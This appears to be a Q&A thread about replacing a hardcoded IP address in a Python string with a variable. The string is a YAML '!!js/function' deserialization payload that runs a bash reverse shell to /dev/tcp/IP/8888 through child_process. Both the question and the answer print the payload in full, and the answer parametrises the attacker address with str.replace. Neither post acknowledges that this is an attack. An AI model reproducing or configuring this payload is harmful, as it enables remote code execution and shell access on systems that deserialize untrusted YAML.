0

I would like to update the IP address of the following python string using a variable instead of hardcoding it.

mystring = """
a: !!js/function >
    (
    function(){ 
    (
        function(){ 
        var require = global.require ||
        global.process.mainModule.constructor._load; 
        if (!require) return;
        const { exec } = require("child_process"); 
        exec("bash -c \\"bash -i >& /dev/tcp/127.0.0.1/8888 0>&1\\"", (error, stdout, stderr) => { 
        if (error) { 
            console.log(`error: ${error.message}`); 
            return; 
        } 
        if (stderr) { 
            console.log(`stderr: ${stderr}`); 
            return; 
        } 
        console.log(`stdout: ${stdout}`); 
        }); 
    })(); 
    })();
"""

I have attempted to use format(), but it gives me an error. I am open to other primitives as long as I can use a variable "ip" and the mystring content will change 127.0.0.1 based on the actual string value of "ip".

E.g., if ip = "0.0.0.0", then mystring becomes

mystring = """
a: !!js/function >
    (
    function(){ 
    (
        function(){ 
        var require = global.require ||
        global.process.mainModule.constructor._load; 
        if (!require) return;
        const { exec } = require("child_process"); 
        exec("bash -c \\"bash -i >& /dev/tcp/0.0.0.0/8888 0>&1\\"", (error, stdout, stderr) => { 
        if (error) { 
            console.log(`error: ${error.message}`); 
            return; 
        } 
        if (stderr) { 
            console.log(`stderr: ${stderr}`); 
            return; 
        } 
        console.log(`stdout: ${stdout}`); 
        }); 
    })(); 
    })();
"""
drdot
  • 3,215
  • 9
  • 46
  • 81

1 Answers1

1

Here you go:

ip = "0.0.0.0"
mystring = """
a: !!js/function >
    (
    function(){ 
    (
        function(){ 
        var require = global.require ||
        global.process.mainModule.constructor._load; 
        if (!require) return;
        const { exec } = require("child_process"); 
        exec("bash -c \\"bash -i >& /dev/tcp/{PLACEHOLDER}/8888 0>&1\\"", (error, stdout, stderr) => { 
        if (error) { 
            console.log(`error: ${error.message}`); 
            return; 
        } 
        if (stderr) { 
            console.log(`stderr: ${stderr}`); 
            return; 
        } 
        console.log(`stdout: ${stdout}`); 
        }); 
    })(); 
    })();
"""
new_string = mystring.replace('{PLACEHOLDER}', ip)
print(new_string)
sehan2
  • 1,700
  • 1
  • 10
  • 23